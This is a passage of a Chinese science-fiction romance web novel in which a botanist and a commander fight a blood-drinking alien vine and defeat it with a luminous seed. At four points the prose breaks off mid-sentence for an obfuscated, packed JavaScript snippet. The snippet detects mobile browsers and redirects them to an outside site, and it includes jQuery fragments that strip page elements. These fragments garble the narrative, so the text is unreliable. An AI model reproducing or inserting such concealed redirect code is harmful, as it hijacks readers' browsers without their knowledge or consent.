北辰星环感觉自己的脸“腾”地一下烫了起来,她挪了几步,垂首抚胸,连连说着“那就好、那就好”。 北辰星环的动作有些刻意,姚定坤轻勾了唇角。 不知为何,大概是这夜风伴着星芒,他忽然记起北辰星环昨夜睁着那双剔透的眸子,与他说他“话真是算少的”的模样。 他的心也像这夜空一般微微闪烁。 两人没耽搁,直接往那落水洞口而去。 在快到洞口之时,领先北辰星环半步的姚定坤却顿了脚步。 他侧身回首,那两个卫星的银色辉光撒满在他身上。 就好像这天地都不过是他的一身披风。 北辰星环有些疑惑,直到他那道碧色的目光将她笼罩。 一切就像个银绿色的梦。 “你曾问我,为什么选定你,我想告诉你,我的选择一直都是你。” 北辰星环更加惊讶了,在这种气氛中,他的话更像是个承诺,而不是回答。 他确实迷人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376732|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而不自知了,北辰星环微微晃了晃自己的脑袋,迫使自己清醒。 “您……说的是您首选我当外援专家吗?可是,我难道不是您的最末位选择?别的专家都不得空,您才邀请我的?” 姚定坤皱着眉竟然气笑了,“是谁说的?没有其他专家,一直都是你。” 他这确实不像是撒谎的样子,但北辰星环还是有些将信将疑。 姚定坤看出她的犹豫,便继续用平和又真切的语气说道:“北辰星环,中央科学院植物考古学研究室主任,副研究员。你毕业于中央科学院大学生物学系,四年级选方向时选定了植物学方向,你的带教老师是数年未亲自带学生的学术泰斗周问知周老,那年她破天荒地招了两位学生,并且继续成为你们的研究生导师。” “你研究生阶段原本的研究方向是异植学,你在一年级时通过研究异植的特殊结构蛋白而在植物蛋白领域有了巨大突破,奠定了植物蛋白运用在材料学创新领域的坚实基础,是真正的开创性发现。” “而二年级起,你却换了研究方向,转投植物考古学领域。这个领域鲜有人研究,本多是古植物学专家兼修,而你真正地将这门学科撑了起来。你投身植物考古学领域后少有公开发表的研究成果,但修满四年后能顺利以博士学位毕业,必然是成果显著的。” “正式入职中央科学院后,你仍勤勤恳恳,以一己之力守住了这个专门研究室。我敬您坚守,敬您执着,我想,如果可以,我将我能决定的这个机会给您。” “您一定会用我们都没有的执着和慧眼,探明这些未知名植物之后的所有玄机。” 姚定坤一字一句地将这许多真情实意的话讲完,他的眼神没有躲闪,一直凝望着北辰星环。 很真挚。 北辰星环脑中那“一直都是你”不断回放。 她,确实,没想到…… 他确实不是简简单单下定的决定,他也绝不是鲁莽或者随意行事。 他甚至,能懂一些,她的执念。 不得不说,他的陈情有些震撼到她了…… 北辰星环敛目,平复自己激荡的心情。 然后她抬头,目光干净无物,笑着调侃:“你竟然调查我。” 姚定坤一怔。 她只轻轻一个推手,便将他纷繁复杂的招式尽数化解。 他真是,输得彻底。 他便也戴上了恰好的微笑,只说着:“我想说的就是这些,走吧。” 然后他转身先行,凌厉如风,好似没有任何留恋。 北辰星环心态很稳定,走出洞口,彻底沐浴在这两轮如椭圆盘般的银白色卫星的辉光之下,她感觉自己身体每一处都舒服得发出了喟叹。 如此美景,令人心旷神怡,不念句诗可真是暴殄天物了啊。 这正是“清夜无尘,月色如银”! 如此广阔天地,所有事真的都不重要了。 北辰星环在那仰视着月盘一脸沉迷时,姚定坤在检查探视这一小片台地。 之前所见的暗河在他们下方转为地上河,化作瀑布垂落,然后侵蚀流入那峰丛之间的岩溶洼地,而他们的最终目的地便是那洼地之中的茂密森林。 很近了。 此时忽然有“嘀嘀嘀”的警示声响起。 姚定坤猛然转身,只见一条过于迅猛的褐影,与此同此,他奋臂一挥抛出了一道银芒。 从北辰星环鼻前划过。 15. 死局 一切都太过突然。 北辰星环不知道发生了什么,她只看到有一道锋利的银光从自己脸前极近之处掠过。 就差那么一两厘米,她的鼻子怕就要被削掉一块了。 等她意识到什么,追随着银光望去,却见一把明晃晃的匕首将一条不那么饱满而略显枯老的褐色藤蔓状物死死地钉在山壁上。 “过来!”姚定坤对她喊了一声,带着十分的急迫。 北辰星环往姚定坤那处望去,竟见他背后陡然升起了四根一样枯老的褐色藤蔓状物,其上密布针样寒光。 北辰星环只能大喊着“小心!” 可姚定坤目光不偏不倚,拧着眉又向她这处拔足奔来。 他一手护着北辰星环,另只手持刃撒落一片寒光。 北辰星环被迫转了一个圈,他手起刀落,便是一地的枯藤断枝。 可这没有丝毫助力,顶多只是延缓一阵罢了。 断首之藤略一震颤竟直接裂成了两条,那被钉在地上的枯藤也借着刀刃将自己划成了一模一样的两条。 四周枯藤如蛇一般昂首环伺,将他们团团包围。 姚定坤心知不妙,将手探向了腰际装载着燃/烧/弹的手/枪。 北辰星环终于缓过神来,掌握了这紧急的战机,她余光瞥见姚定坤的举动,赶忙手一后伸按住了他的手。 “不能火攻,这是大血藤,不怕甚至喜火的异植。” 北辰星环当然不知姚定坤手下这把枪里的弹药是什么,但此刻她完全猜对了。 “弱点?” 姚定坤耳听四路,眼观八方,满是警惕。这不是攀谈的时候,既然她确定,他就相信。 “没有弱点……□□有效,但只能延缓。” 姚定坤神色不变,听她“有效”两字,就双手抽出□□,双枪连射,迅速直中趁着两人交谈时机前攻的五条大血藤。 确实有效,那五条大血藤上一串蓝紫光弧闪烁,然后便暂时软瘫伏地。 “大口径电离炮的短暂爆发能量或许能将它湮灭,但那也要彻底灭杀根系,不然它仍能重新长出。” “强激光武器、核聚变武器、引力武器这一类当然有效,但也要灭杀根系。” “冷兵器恐怕不能使用,它具有自体个体全分裂属性,斩断只会催生。” 这种能力在其他生物身上出现则叫做分裂异变,是最危险的那种异变,可对于大血藤来说这是与生俱来的天赋能力。 在姚定坤一轮又一轮持续攻击之中,北辰星环说着关于大血藤的一些基本信息。 但是……怎么说呢……并无大用……机甲无法动用,一切都是空谈。 “要速战速决,这是种群异植,数量……庞大,拖下去只会……越来越多。” 是的,他们眼前的大血藤,比一开始的时候已经多了两倍了…… 姚定坤皱了眉。 姚定坤不认识这大血藤实在太过正常,连北辰星环都没能一下子认出。 大血藤只在大迁徙时代人类巨星舰舰队途径的一颗异星上曾有发现,从未在联邦土地上发现。那颗异星气候环境适宜,大陆洲不算太小,但竟然没有太多生物存在。仔细一探测才发现,原来那大陆洲上大多是这大血藤的领地,它的领地内绝无可能有其他“真正存活”的生物存在。若不是有些奇特本地生物苦苦进化抗争,恐怕这片大陆洲将尽数沦为大血藤的巢穴。 彼时巨星舰上的科学官们一致认为这是一种外来入侵生物,并推测它有星际航行——或者说星际播种的能力。 因其凶险,舰队并未登陆靠近,只扫描了基本数据,更未留存活体标本。 “最好的应对办法是逃。” 北辰星环虽这么说,可她一瞥已被褐色枯藤密密麻麻遮掩的那落水洞来处,觉得这个方案实施难度有些大。况且大血藤也能深入溶洞,到时就是真的无处可逃了。 她往那地下河穿出的方向望了眼,她觉得还是跳崖的胜算来得更大一些。 局势不利,姚定坤抬枪向天空击发,红色的信号弹在夜空中亮起,很是醒目。 他没说,但是北辰星环也知道,各小队之间太过分散,后援不可能短时间内到达。 后援…… 北辰星环想到了什么,侧首对背后之人喊道:“主藤,我们需要尽快找到主藤!” “我仔细观察过,这些枯藤太过瘦弱细小,绝非独立单体,应该是主藤的分支部分。” “必有一个或更多的真正的主藤!” “如何找?”姚定坤短促地一问,手下动作却不停。 那些被电晕的大血藤只最多三个呼吸便会重新恢复活力,且这能拖延之时间呈现越来越短的趋势。 它们在学习,它们在适应。 “它们会回护主藤,主藤会相对粗大——但这不能用肉眼简单判断,岁数不同,大血藤的主藤本就可能粗细悬殊。” “还有吗?”他再问。 “还有……” 被姚定坤护着转圈躲闪的北辰星环飞快地思考,尽量搜刮她脑中可能存在的那些许角落里的记忆。 这便有些分心了。 姚定坤撤步一推一拉,底盘没那么稳的北辰星环骤然仰面翻倒。 尽管被稳稳托住后背,可她明明白白看见有几道褐色的闪电划过黝黑的夜空,狠狠劈向姚定坤。 呼啸的破空声,沉闷的击地空响。 蓝紫的光弧在她眼前不断闪烁,带着无情又冷酷的速度。 北辰星环在这一刹那看清了每一道光弧的走向,精准,高效,弹无虚发,击中角度正好能将枯藤击远推远。 这样的消耗战,他却没有减慢半秒速度,也没有改变呼吸频率。 哦,除了这一刻,他垂眸将她重新扶起时,多喘了一口气。 “专心。”他告诫。 “知道了。”她躲闪。 接着便又是无止尽的鏖战,北辰星环再不敢懈怠,但卡住的记忆也再没能继续。 “它的狩猎模式是怎样的?”姚定坤的声音忽然响起,很是冰冷。 北辰星环愣了愣,然后她明白了姚定坤的意思。 “集体行动,注射麻痹,缠绕,束缚,生入血脉,融为一体,逐渐死亡,彻底成为肥料。” 大血藤是嗜血的,它喜欢鲜血,会直插入血管,一路生长,把猎物当作血包供给;大血藤是贪婪的,在榨干猎物的最后一滴血之后,骨肉也得尽数成为花肥。 可是,但是,这些大血藤为何会具有这样强的攻击性? 北辰星环抬头极目远眺,她认不出哪颗星子可能是“齐物”,但她相信无形的威慑信号一直在源源不断发出,它们本应该处于被威慑震撼的状态。 只可能是——它们已然被其他什么事件激怒,它们面临着生死存亡的险境,求生的强烈本能竟让它们挣脱了威慑信号的约束。 相较于异兽而言,异植确实更依赖于本能。 不对——北辰星环朝某个方向定睛一望,有一条褐色枯藤竟然开始渐次泛起由内而外的红润光泽,干枯的表面也略微充盈了起来。 北辰星环不敢分心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376733|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但她还是急切地发问:“姚定坤,你是不是被伤到了!” 这语声中带着颤抖。 都怪她,要不是因为她躲闪不及,他也不会被这刻板攻击的大血藤伤到! 背后那人没有立刻回话。 他犹豫了。 北辰星环继续追问:“你还好吗?你感觉如何,有眩晕感吗?或是极度疲乏的感觉?” 她不知道这麻醉成分入血会有什么表现,只能拣着些可能的一股脑急急问了。 可她却听见了姚定坤的笑声,“你多说些话吧,尖些利些,我便不会困倦了。” 他竟然还能开玩笑? 北辰星环一口气涌上喉间,她差点就要厉声斥他了。 “没事,我能坚持。”他敛了些许笑意温声道。 声音听起来还算清醒。 北辰星环这口气便降到了心间。 但她并不可能完全放下心来。这些大血藤入体释放的所谓麻醉成分的效力究竟如何并没有记载,她连这究竟是神经毒性钠通道阻滞剂还是中枢镇静麻醉剂都不知道。 或许下一秒,他就会失去战斗能力。 如果他真的失去意识…… 四周有些被电怕了的枯藤忽然恢复了高昂的气势,拔高了几分,显得愈发虎视眈眈。 还没想明白它们为何突变的北辰星环脚底踩到了什么,她垂首竟见些许淋漓鲜红。 即便局势危殆,她再也忍不住,分心侧首回望,只见背后这人摘了手套,紧握着匕首之刃。 殷红的鲜血从他指尖滴落,在这灰白的土地上朵朵绽开。 他这是……借此让自己清醒吗? 还是—— 北辰星环带着些难以置信地抬头望着姚定坤的侧脸。 姚定坤感觉到了北辰星环的浓烈目光,但他并未转头,只甚是平常地说着一点也不平常的话。 “它想要血,我就给它。” “见了血,主藤会出现吧?即便不出现,顺着血液被吸收的走向,也定能找到主藤,对吧?” 他说到最后这声“对吧”时,尾声上翘,竟像是指尖轻摇那琴弦,缠绵悱恻地颤了又颤。 对,对啊!卡在最后的那段记忆终于冲破樊笼。这确实是寻找主藤的一种方法。 他猜对了,他全都猜对了。 嗜血者,必为血而疯狂。 就是不知…… 他能撑多久…… 因血疯狂的大血藤的攻势必定会强上几倍,也会失去原本的刻板规律,变得无法捉摸。 疼痛能给他一时的清醒,但失血必会加快麻醉成分的起效,也会削弱他的反应能力。 更不要说,这样的伤口的存在,会为那些大血藤广开方便之门——它们可以轻松非常地钻入他的身体、充满他的身体、享用他的身体。 他铤而走险了些。 但这不是他的问题。 如果她早点记起那些重要情报,如果她小心避让保持警惕。 如果她还能想出更好的办法。 消耗战愈发升级了。 可这局势却在往覆水难收的那一侧倾斜。 这些大血藤被彻底激怒,彻底疯狂。 他们恐怕很难拖延到援兵来助了,他们必须要采取行动了。 姚定坤不打算放弃,但是他考虑到了某种两败俱伤的杀招——至少,他也要将她送走。 北辰星环也不打算放弃,她定睛凝眸,仔细辨识那月辉所及之处的山壁之上。 果然是! 她可能有办法了! 16. 破局 那鲜红血色将她双眼遮蔽,于是整个世界便染上了一层决绝悲壮的血色。 北辰星环以为自己早已淡忘的那些深埋的记忆隐隐激活,枷锁出现裂痕,往昔与现今交织。 因着这同样的鲜红无匹。 而她一次次成为孑然独活的幸存者。 这一次、这一次,她一定要改写结局! 层层大血藤虎视眈眈,这密不透风的包围圈毫无破绽。 他们可以付出惨痛代价最终逃出生天,他们也可以两败俱伤挣个你死我话。 北辰星环做好了最坏的打算。 但是或许是她天真,或许是她不信命,或许是她直觉敏锐,北辰星环总觉得这看似无解的死局仍有一线生机。 “前哨官兵发现的不是大血藤吧?”北辰星环先确认了一番。 “不,”姚定坤很肯定地说,“我确定,若是这已在数据库中的异植,不会对应不上的。” 北辰星环其实也确定,这枯藤与那影像资料中的墨绿藤蔓存在差异。 藤不是只有一种模样的。大血藤有尖利的末端,叶片退化近无,只余尖刺密布,张狂如吐信之蛇,是明晃晃的肉食异植。可那未知名异植藤蔓除了粗一点,和其他植物的攀援茎没有太大区别,看上去好似没有任何攻击性,只是要争取光线争取水分,尽量把自己绿油油的叶片展示在阳光下。 他们在洞口逗留过一会儿,彼时生物能检测仪并未示警。大血藤这般异植,生物能检测仪是绝对能发现的。这便证明这些大血藤族群当时确实不在这里,它们是后来才匆匆迁移到此的。 北辰星环环视一圈,这些大血藤的末端皆从山壁外而来,且基本都位于朝向那岩溶洼地的半侧。那么,这些大血藤更有可能是从那洼地方位迁移而来的。 大血藤之为大血藤,当然是因为它本体为藤状攀援茎,且鲜红如血。可眼下这些藤蔓这般枯败,连本身的红润色彩都无法维持。恐怕不仅是分支之故,更因为它们极度缺乏养分、营养极度不良。 北辰星环瞥了眼那洼地之中的茂密森林,如果那确实是这类似“息壤”的未知名异植的扩散中心,结合这些大血藤在威慑信号下仍如此强攻击性的表现,她有个猜测—— 这些大血藤可能是战败散兵,正在亡命奔逃。或许与那同样曾侵蚀整个大陆洲的“息壤”而比,它们落了下风。 也就是说,这是一群在领地争夺战中最终告负,被驱逐放逐的,零散的好不容易才逃出生天的,溃兵。 当年,大迁徙巨星舰舰队在发现大血藤的那颗异星上观察到的本土异兽多高大强壮——这很合理,富饶合适低重力的土地自然滋养高大的生物。 这颗“碧垣”亦如是。如那拟犀巨兽般体积的异兽遍地都是,这里的异兽也普遍高大强壮。 那就是说,人类这样体量的猎物,对这些大血藤来说只是可口的甜点。 可有可无的那种甜点。 它们是在逃命,亡命奔逃,吃口甜品可以,没有也不算太大问题。 况且,被电击的滋味绝对不好受。植物的整体性比动物更强,叶片被虫啃一小口,连根系都能立刻感应到。姚定坤弹无虚发,那些电弧最终都会传导到主藤上,它绝对不会好受。 作为一株能从某种灭顶之灾、灭族危机中幸存的大血藤,它该是惜命的,该是有些智慧的。 它本该放下这可有可无的小甜点,尽快猎捕其他足够大的异兽,或者再跑快一些、更快一些。 植物不同于动物,相对来说更加安土重迁,它们也更加懂趋利避害的道理,即表现为相对保守。 所以这些大血藤不毅然舍弃姚定坤和自己——至少在没吃到姚定坤的血和他没直接放了自己的血之前——是有些不合常理的。 除非—— 除非它们在这里也感受到了巨大的威胁。 让它们宁可冒着被背后追兵追上的风险,也不得不直面的威胁。 可人类对“碧垣”的本土生物,尤其是异植来说,绝对算不上巨大的威胁。 因为人类不怎么来这“碧垣”。开什么玩笑,偶尔来这“植物宝库”研究一下就行了,东区适宜居住的宜居星不算太少,还不至于和北区人民一样居住在异星上。也因为这是联邦重点关注的植物宝库,边防军密切监视,想要捞一票的不法分子都无从下手。 这些异植毕竟不通星网,也不是有种族传承记忆的异兽,更加无从得知人造武器的危险可怕。 所以,只有一种可能——这里有一种与大血藤是天生对手的其他生物,不是碾压性的威胁,而是大血藤觉得可以拼死一战的那种生物。 前后皆是死局,所以大血藤选择停下应战。 至于,能有什么让它们如临大敌,北辰星环心中有了猜测。 原来,陷入死局的,更害怕的,色厉内荏的,其实是它们。 北辰星环恍然大悟,她抬起了眼,满映辉光。 “姚舰长,借我把枪。” 北辰星环将话说得很肯定,姚定坤虽不甚明白她头脑风暴的前因后果,但他没有一点犹豫,直接将本握在左手的枪反手递给了北辰星环。 姚定坤不清楚北辰星环的射击水平,但他很清楚少了一把电/击/枪,他们的反击能力很有可能会减半。 而他们眼前是一群闻着鲜血近乎疯狂的大血藤。 北辰星环从姚定坤尚在淌血的左手中接过这把枪,她无视了自己手中难免沾染的温热血迹,只检视着这把尚带着些余温的枪械。 这是“惊空-21”型号的军用电/击/枪,严格管制,强度可调节,可单发可连发,有一定的智能辅助定位矫正功能,是这几年才全面装备到军队的最新一代枪械。 而目前剩余的能量是……百分之三十三,按姚定坤目前的射击频率来看,就是大约五分钟。 那么,她只有五分钟时间! “姚定坤,你信我吗?” 北辰星环的话莫名其妙,但她并没有给姚定坤回答的机会。 姚定坤只听见她继续说道:“你尽力吸引它们的注意力,拖延五分钟,只要五分钟。” 她的语气是那般严肃平直,没有一丝急迫或者命令的口吻,可这一刻,姚定坤只觉得似乎是他的瑾军长在与他下达指令。 “不要让自己死了。” 她最后抛下了这句话,他背后一空。 好。他在心中与自己这般说。他信她。 他再次用力撑破逐渐凝血的伤口,将那只流淌出更多鲜血的左手高举齐眉。 来吧! 蜂拥的枯藤几乎将他包裹。 顺势冲出包围圈的北辰星环没有回头,她只用衣角擦干净自己沾染的他的血迹,拼命狂奔,扑到那把插入岩壁的匕首旁。 她用尽全力拔出匕首斩下血迹浸润的衣角,扎在一块份量足够的石块上,迎着追着她而来的涌动枯藤向崖壁外方向奋力一抛。 同时她举起电/击/枪尽量击倒她能看见的在她预设的必经之路之上的所有枯藤。 这桩桩件件都无比紧凑,她仿佛排演过几十遍一般流畅。可只有她自己知道,要做到如此,已经耗尽了她所有脑力心力。 然而她竟然还是忍不住往那包围圈之中窥探,她余光瞥见那被团团包裹的姚定坤的模样。 她觉得他有些曲解她的意思,她心间紧紧揪起。她很熟悉这种感觉,她知道这是恐惧,这是害怕再一次失去。 但她终究成熟成长了些。 但她能做的只是抠紧崖壁,用她所能做到的最快速度往上攀登! 抛却谨慎。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376734|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 抛却权衡。 抛却稳定。 她只要脚能蹬到着力点,就直接换手。 踩空,无所谓。 她紧紧抠着岩壁,她不知道自己从哪里生出的力量,能用一只手就将自己悬空的身体重新归位。 她使出了平生最快的速度,她险之又险地在山壁间跳跃,避开觊觎的枯藤。 她憋着一口气。 她不知道时间过了多久,她不知道自己离地多高,她甚至不知道自己的身体的存在。 她眼中只有距离越来越近的被月华银辉撒满的那处突出的岩壁。 看似空无一物的那处岩壁。 尽管在这千年迁徙之间,人类的身体素质已经有了极大的提升。 但比之异兽异植,仅从肉/体来看,人类仍是弱小的。 是人类的坚韧意志、人类的技术创造、人类的智慧,才让人类背井离乡漂泊千年,终得重新定居。 瑾军长关于宇宙射线的研究,让联邦人类从被异兽时不时入侵的恐惧中脱离。而那自称“狮派”的古人类另一分支——“牧星者”的出现,则让联邦人类同仇敌忾的目光再一次转移。 于是人们好像、好像就渐渐淡忘这些居于枕席之畔的原生生物异兽异植的可怕了。 人们真是如此健忘吗?联邦三百年来,这无数次大大小小的异兽入侵战役之中的人类尸骸、星舰残骸仍在深空之中漂荡,人类一次次击退来袭的异兽的艰辛血汗又怎么能被忘记! 异星,从来都不是可以放松玩乐的地方,这是这些异兽异植的领地。是他们这些人类侵入了它们的领地。 但不管如何—— 北辰星环判断着自己勉力攀援之处与那岩壁突出之处的距离,这近乎天堑般难以逾越,这过于光滑平直,几乎没有立锥之地。 她的理性判断告诉她,这绝无可能,这无法逾越。 北辰星环单手握枪向下方一顿扫射。 然后她调匀了自己的呼吸,积蓄了全身的力量,最后一跃。 ——她一定会奋力一搏。 一根诡异行动的枯藤行动了,它直中那跃起半空最为薄弱状态的人类的小腿。 细密坚韧的织物让它的尖刺无法直接穿透,但是没有关系,它将自己成环箍紧然后轻轻一扯,就能将这天上月拉下云端。 毫无悬念。 非常轻易。 可这一次,它失算了。 那看似毫无防备的小小人类一丢袖中之刃,竟准确地将它再一次钉入地面——在它尚未彻底成环之前。 不应该啊,不应该啊,它靠聪明才能活到现在,怎么能折在这呢? 这株大血藤第一次开始真正动摇。 北辰星环想到了大血藤可能会突然袭击,可她也不得不冒险一次。 然而即便准备充分尽快解除危机,可她终究被牵扯影响。 她的平衡难以保持,她的力量被分散。 不好,好像要落空了。 她妄图用绷直的十指延伸她的力量。 可她勉力探出的手与那岩地之间好像有近在咫尺却遥不可及的距离。 不。 她不甘心。 她目眦欲裂,她稳住了自己的平衡和冲势。 她够到边了! 可是,她的指端合着她的整个身体都在滑落、坠落。 不。 绝不可以。 她将自己的另一只手甩上,以整个上身力量连带着两只手的指端拼命发力,死命往那岩石中抠去。 磨出火花,磨破手套,磨灭指纹,磨掉血肉都无所谓。 她要握紧这岩石。 就像握住她的命运。 她绝不妥协。 而她, 成功了。 17. 反杀 以血为诱、以自己为饵,是一种计谋,但算不上不得不为的那一种。 作为指挥系的学生,姚定坤在首都军校中被教导的第一堂课就是—— 指挥要尽量保全自己的性命,指挥是一场战役、一艘星舰、一个小队的领袖与灵魂,指挥可以决定最终的成败。 而第二堂课是—— 为达成胜利,一切计谋都是可行的,只存在优劣,不存在对错。必要时,派出敢死队执行必死的任务,也是可取的。 一切只为了胜利,胜利才是最珍贵的。 他开始不解,之后疑惑,最后却明白了些。 他是身先士卒,他是凡事都亲力亲为,但这不等同于他愿意为了什么事情就轻易抛却生命。 他是惜命的。 不是为了什么荣耀、什么胜利、什么成败。 只是因为,在这世上,他有牵挂。 他想要看更多,他想要做更多,他不甘心。 他不甘于平庸,他想要乘这东风,他有执念。 他确实坚信这点,即便被瑾军长亲自教导,他也并未改变。 可是,这一次,他为什么会产生了“哪怕牺牲自己,也要将她送走”的念头呢? 可是,当下,他怎么会因为她一句不清不楚的话,就舍去所有念头、没有任何保留、过于充分地执行贯彻这个“吸引它们的注意力”的指令了呢? 他不知道,他从来没有这样过。 不对——大概,那时、狠下“那个决心”那时,他也是过分决绝的吧。 他总是在不该果断的时候过分果决,他总是不过脑子就轻易下定足以影响他往后一切的决定。 他撒着血,就像在星舰上挥斥方遒、号令指挥千众人。 他昏了神,就像在老家的小酒馆听他们讲那很久很久以前的故事。 在他眼中,银色的月辉、漫天的星斗,合着这舞动的层层褐影,竟好像一场滑稽戏的开场,总有人放着彩花炮,然后总有人踩着碎花屑滑倒,观众们的笑声就这样此起彼伏了。 是啊,对啊,他就是个滑稽戏的演员嘛。被迫披彩上场,被迫执行某种状况百出的糗事,抛却所有颜面,抛却自我感受,抛却自我认知,无尽夸张,无尽做作,无尽庸俗,只为逗笑场下的人,只为让他们满意,最后沦为一场笑谈。 在这一刻,他福至心灵,他茅塞顿开。 他好像忽然明白了—— 枯藤伺机而入的钻心疼痛并不是痛,反而算得上慰藉。 迷幻麻痹的虚无脱力感也不是昏,反而算得上享受。 ——如果他毁灭,无论是以何种方式毁灭,那反而算得上是一种解脱。 他便不必选择,不必纠结,不必左右为难,不必在夜里惊醒满脸是泪了。 原来不是她或她的指令有多么重要,而只是恰好正中他自己都还未意识到的下怀。 可是,为什么又有一道光亮了。 他不能闭眼,他直勾勾地盯着,他被晃得眼睛被什么迷蒙模糊。 他下意识觉得自己不该错过这一幕。 而这一幕确实盛大壮丽,比他曾眼见的深空天象还要浩瀚华丽。 他看见一团银丝缠就的金光,就像是那远在天际的月亮被摘下。 那光芒好像只有橄榄般微末,又好像壮大地如同一个天体。 这是奇迹,是异象,是天体坠落,是最后的光爆。 然后所有的枯藤都开始战栗,拟人化地非常形象地战栗。 光芒所到之处,褐色的枯败的大血藤竟刹那间灰飞烟灭,连挣扎或者苟延残喘的机会都没有。 最后,那团光芒一往直下,劈开那条不知何时出现的尤为鲜红的粗壮的光泽的暴饮暴食大腹便便的红藤。 缓慢又快速。 凌迟又斩首。 曾属于他的那些殷红血液从红藤的断口汨汨而出,将这月华染上了些许苍凉意味。 他仿佛听见那大血藤发出了绵长的呻/吟,这是它留在这世上的唯一声响。 真是个完美的收尾,干净利落,又余音绕梁。 这场戏,是不是,过于梦幻了。 这不是幻觉吗? 他真的还活着吗? 那团光芒终于渐渐淡去。 真实的山间冷风呼啸而至,给了他一些清醒。 可这还是不真实。 那手中握着天上月,身披银辉,目可纳山河,璀璨发光的天上来客,怎么会降临在他的面前呢? 这必是虚幻。 “姚定坤,我的胫骨还是腓骨好像裂了。” 北辰星环的记性并不算太好,她不如邵欢那般过目不忘。尽管邵欢说她是误解了大脑记忆机制,不是她没记住,而是她没有设立索引并按照索引去调取。 北辰星环本来不怎么信,但是此刻她信了。 因为她竟然清清楚楚记起了曾经苦苦抗击大血藤入侵的那颗异星上的那些本土生物。 而她成功找到了其中一种,正隐匿在这月华银辉之中。 看似不起眼,看似弱小如蓬草,看似在这岩壁上孑然独立、苦苦求存。 但这样的生命亦具有巨大的力量。 难以置信的力量。 她用嘴咬去了右手的已然残破的手套。 她念了声抱歉,又念了句谢谢,穿透那如同屏障的月华银辉,切实地摸到了一颗光滑的圆球形的果实。 她没有敌意,她尽可能平稳呼吸。 她用采撷茄科果实的手法用巧劲一转,那果实便与果柄脱离。 她感觉到一种凉意,她慢慢收回了手,穿过那道月辉,她手中果实便大亮。 就像将这月华银辉尽数吸收了一般。 北辰星环眯了眼,她往下寻着姚定坤的方位,那些虬结的枯藤渐次染上了红艳之色,恐怕姚定坤的情况不妙。 但好在他的计策有效,那汲取了所有支系上贡的鲜血的粗壮的主藤真的出现了。 贪婪,就是因为它贪婪,才忽视了近在眼前的杀机。 就是现在! 北辰星环以双脚带动全身一荡,然后她在自己预想的那个角度松开了握紧岩石的手。 她向那疯狂而贪婪的大血藤扑去。 她带着自由落地的风,带着呼啸的意志,带着必胜的速度。 然后她用力捏破了这颗圆润的果实,攥住了其中那枚橄榄形的种子。 刹那间,无比耀眼的光辉骤然亮起。 连北辰星环都不由闭上了眼。 于是世界只剩风声, 划过她指尖的触感。 一切近乎于静默, 可那枚橄榄形的种子在嘶吼咆哮。 她以手劈空, 以手劈开这大血藤铸就的牢笼。 淅淅沥沥的月光银辉撒落, 点点朵朵是殷红鲜血喷涌。 她知道自己成功了。 可是她没有想好自己该用怎样的姿势落地。 这是近二十米的高度,而她下方是坚实的岩地。 这是鸡蛋撞行星的实验,而她是毫无保护的那颗随意丢下的鸡蛋。 此刻她只想感谢这粗壮的富有弹性的大血藤主藤,意外地给了她迫降途中卸力缓冲的机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377951|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 尽管最终她还是用不那么完美的姿势重重坠地,但好在她还活着,也没有什么开放性骨折。 哦,话说早了。 她的右侧小腿有些钻心的疼! 不过看起来没有什么畸形改变。 但现在不是关心这个的时候,跪倒在地的北辰星环双手撑着地,勉力抬起头,对着灾难中心的姚定坤望去。 他看起来……真是比她狼狈多了…… 北辰星环摇摇晃晃站起,忍着疼痛,单腿跳着到他面前。 可她刚说了一句话,这个满身窟窿的人就直接昏倒在她身上。 北辰星环怎么可能撑得住,于是两个人一起翻倒在地。 嘶…… 北辰星环倒抽一口冷气,她仰面望着这寂静无语的夜空,终于看到了那逐渐放大的流光溢彩的黑色机甲。 后援,终于到了…… 她轻轻拍了拍怀中人的脊背,湿漉漉的却又是一手血。 “所以,就是这样,”北辰星环摊开自己的右手,将那橄榄形的绿褐色种子展示给面前几人,“这是帝流浆草,很高兴认识你们。” 晏南天托着自己的下巴津津有味地听着北辰星环的陈述。 